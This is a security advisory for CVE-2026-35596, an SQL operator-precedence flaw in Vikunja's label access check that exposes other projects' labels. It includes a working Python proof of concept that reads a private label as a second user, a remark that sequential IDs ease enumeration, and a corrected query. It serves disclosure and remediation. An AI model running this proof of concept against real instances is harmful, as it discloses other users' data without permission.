CVE-2026-35596: Vikunja has Broken Access Control on Label Read via SQL Operator Precedence Bug

Summary

The hasAccessToLabel function contains a SQL operator precedence bug that allows any authenticated user to read any label that has at least one task association, regardless of project access. Label titles, descriptions, colors, and creator information are exposed.

Details

The access control query at pkg/models/labelpermissions.go:85-91 uses xorm's query chain in a way that produces SQL without proper grouping:

go has, err = s.Table("labels"). Select("labeltasks."). Join("LEFT", "labeltasks", "labeltasks.labelid = labels.id"). Where("labeltasks.labelid is not null OR labels.createdbyid = ?", createdByID). Or(cond). And("labels.id = ?", l.ID). Exist(ll)

The xorm chain .Where(A OR B).Or(C).And(D) generates SQL: WHERE A OR B OR C AND D. Because SQL AND has higher precedence than OR, this evaluates as WHERE A OR B OR (C AND D). The labels.id = ? constraint (D) only binds to the project access condition (C), while labeltasks.labelid IS NOT NULL (part of A) remains unconstrained.

Any label that has at least one task association passes the IS NOT NULL check, regardless of who is requesting it.

Proof of Concept

Tested on Vikunja v2.2.2.

python import requests

TARGET = "http://localhost:3456" API = f"{TARGET}/api/v1"

def login(u, p): return requests.post(f"{API}/login", json={"username": u, "password": p}).json()["token"]

def h(token): return {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}

atoken = login("labeler", "Labeler123!") btoken = login("snooper", "Snooper123!")

labeler creates private project, label, task, and assigns label proj = requests.put(f"{API}/projects", headers=h(atoken), json={"title": "Private Project"}).json() label = requests.put(f"{API}/labels", headers=h(atoken), json={"title": "CONFIDENTIAL-REVENUE", "hexcolor": "ff0000"}).json() task = requests.put(f"{API}/projects/{proj['id']}/tasks", headers=h(atoken), json={"title": "Q4 revenue data"}).json() requests.put(f"{API}/tasks/{task['id']}/labels", headers=h(atoken), json={"labelid": label["id"]})

snooper reads the label from labeler's private project r = requests.get(f"{API}/labels/{label['id']}", headers=h(btoken)) print(f"GET /labels/{label['id']}: {r.statuscode}") # 200 - should be 403 if r.statuscode == 200: data = r.json() print(f"Title: {data['title']}") # CONFIDENTIAL-REVENUE print(f"Creator: {data['createdby']['username']}") # labeler

Output: GET /labels/1: 200 Title: CONFIDENTIAL-REVENUE Creator: labeler

Label IDs are sequential integers, making enumeration straightforward.

Impact

Any authenticated user can read label metadata (titles, descriptions, colors) and creator user information from any project in the instance, provided the labels are attached to at least one task. This constitutes cross-project information disclosure. The creator's username and display name are also exposed.

Recommended Fix

Use explicit builder.And/builder.Or grouping:

go has, err = s.Table("labels"). Select("labeltasks."). Join("LEFT", "labeltasks", "labeltasks.labelid = labels.id"). Where(builder.And( builder.Eq{"labels.id": l.ID}, builder.Or( builder.And(builder.Expr("labeltasks.labelid is not null"), cond), builder.Eq{"labels.createdbyid": createdByID}, ), )). Exist(ll)

--- Found and reported by aisafe.io